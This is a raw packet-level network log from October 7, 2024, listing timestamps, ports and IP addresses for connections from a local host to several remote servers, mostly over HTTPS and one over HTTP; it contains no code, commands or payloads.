Oct 7, 2024 21:18:29.799597979 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:29.799612999 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.035092115 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.035109997 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.035192013 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.042272091 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.042289019 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.107331991 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.108172894 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.108196974 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.108793974 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.108798981 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.131531000 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.132136106 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.132164955 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.132648945 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.132653952 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.213907957 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.214034081 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.214190960 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.214252949 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.214262009 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.214272022 CEST	49799	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.214276075 CEST	443	49799	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.217328072 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.217355013 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.217431068 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.217617989 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.217627048 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.254550934 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.254709005 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.254777908 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.255213976 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.255232096 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.255242109 CEST	49800	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.255248070 CEST	443	49800	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.258598089 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.258622885 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.258690119 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.258939028 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.258964062 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.361722946 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.362618923 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.362627983 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.363138914 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.363142967 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.422784090 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.423368931 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.423391104 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.423819065 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.423823118 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.468746901 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.468815088 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.468904972 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.469104052 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.469104052 CEST	49801	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.469110966 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.469119072 CEST	443	49801	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.472316027 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.472353935 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.472440958 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.472584963 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.472599983 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.509783983 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.510246038 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.510257006 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.510879993 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.510885000 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.533451080 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.533504009 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.533612967 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.533615112 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.533667088 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.533942938 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.533950090 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.533962965 CEST	49802	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.533967018 CEST	443	49802	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.546901941 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.546946049 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.547005892 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.547190905 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.547205925 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.625654936 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.625890017 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.625993013 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.625993967 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.625993967 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.628767014 CEST	49809	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.628793001 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.629067898 CEST	49809	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.629203081 CEST	49809	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.629219055 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.651169062 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.651257992 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.693872929 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.693892002 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.694272995 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.694334984 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.696094990 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.743402004 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.865411043 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.872458935 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.872482061 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.873016119 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.873020887 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.895267963 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.895745993 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.895762920 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.896251917 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.896259069 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.903877020 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.903901100 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.903942108 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.903963089 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.903963089 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.903976917 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.903990984 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.903997898 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.904042959 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.904042959 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.906972885 CEST	49804	443	192.168.2.5	149.154.167.99
Oct 7, 2024 21:18:30.906987906 CEST	443	49804	149.154.167.99	192.168.2.5
Oct 7, 2024 21:18:30.924743891 CEST	49803	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.924766064 CEST	443	49803	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.927562952 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:30.933007956 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:30.933078051 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:30.933207035 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:30.938493013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:30.975281954 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.975343943 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.975415945 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.977705002 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.977751970 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.977785110 CEST	49805	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.977802038 CEST	443	49805	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.981700897 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.981784105 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:30.981863022 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.982152939 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:30.982187986 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.000154972 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.000204086 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.000262976 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.000293970 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.000509024 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.000545025 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.000566959 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.000896931 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.000973940 CEST	443	49806	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.001087904 CEST	49806	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.002505064 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.002532005 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.002641916 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.002777100 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.002790928 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.097598076 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.099637985 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.099677086 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.099997044 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.100003958 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.184254885 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.184751034 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.184787989 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.185482025 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.185497046 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.203052998 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.203075886 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.203155994 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.203181028 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.203258038 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.203291893 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.203341007 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.203422070 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.203629971 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.203643084 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.203654051 CEST	49807	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.203659058 CEST	443	49807	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.209183931 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.209196091 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.209264994 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.209589958 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.209599018 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.294461966 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.294984102 CEST	49809	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.295003891 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.295475960 CEST	49809	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.295483112 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.410255909 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.410340071 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.411612988 CEST	49809	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.411667109 CEST	49809	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.411680937 CEST	443	49809	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.415359974 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.415397882 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.415481091 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.415699005 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.415713072 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.605076075 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.639533043 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.659429073 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.690376997 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.699697971 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.699738979 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.701757908 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.701775074 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.702410936 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.702447891 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.704674959 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.704684019 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.825198889 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.825753927 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.826138020 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.833806038 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.833904982 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.834578991 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.891205072 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.891233921 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.891246080 CEST	49811	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.891252995 CEST	443	49811	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.944113970 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.944113970 CEST	49812	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:31.944152117 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:31.944169044 CEST	443	49812	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.190254927 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.190294981 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.190495968 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.236010075 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:32.236152887 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:32.236485004 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.236546040 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.236618996 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.236637115 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.236680984 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.236732006 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.236735106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:32.237029076 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.237097979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:32.252281904 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.252309084 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.259993076 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.260025978 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.260096073 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.260963917 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.260974884 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.262276888 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.262307882 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.262320042 CEST	49808	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.262326956 CEST	443	49808	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.272603989 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.272623062 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.273035049 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.273046017 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.275923014 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.275974989 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.276051998 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.276185989 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.276199102 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.291531086 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:32.296586037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:32.412209034 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.412264109 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.412319899 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.413825989 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.413825989 CEST	49813	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.413856030 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.413882017 CEST	443	49813	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.421241999 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.421288967 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.421371937 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.421540022 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.421562910 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.429652929 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.430236101 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.430254936 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.434557915 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.434570074 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.539350033 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.539737940 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.539791107 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.540090084 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.540097952 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.540110111 CEST	49814	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.540115118 CEST	443	49814	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.546789885 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.546824932 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.546883106 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.547972918 CEST	49819	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.548019886 CEST	443	49819	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.911972046 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:32.912031889 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:32.913333893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:32.917264938 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.917773962 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.917798996 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.918174028 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:32.918267012 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.918288946 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.938802958 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.939420938 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.939448118 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.943407059 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.943417072 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.965553999 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.966032982 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.966047049 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.966445923 CEST	49817	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.966451883 CEST	443	49817	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.998500109 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:32.999445915 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:32.999491930 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.000132084 CEST	49818	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.000161886 CEST	443	49818	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.042069912 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.042138100 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.042197943 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.042781115 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.042798996 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.042810917 CEST	49816	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.042817116 CEST	443	49816	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.046415091 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.046453953 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.046524048 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.046886921 CEST	49821	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.046904087 CEST	443	49821	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.055973053 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.057214975 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.057348013 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.057575941 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.057575941 CEST	49815	443	192.168.2.5	13.107.253.45
Oct 7, 2024 21:18:33.057584047 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.057591915 CEST	443	49815	13.107.253.45	192.168.2.5
Oct 7, 2024 21:18:33.060832977 CEST	49822	443	192.168.2.5	13.107.253.45
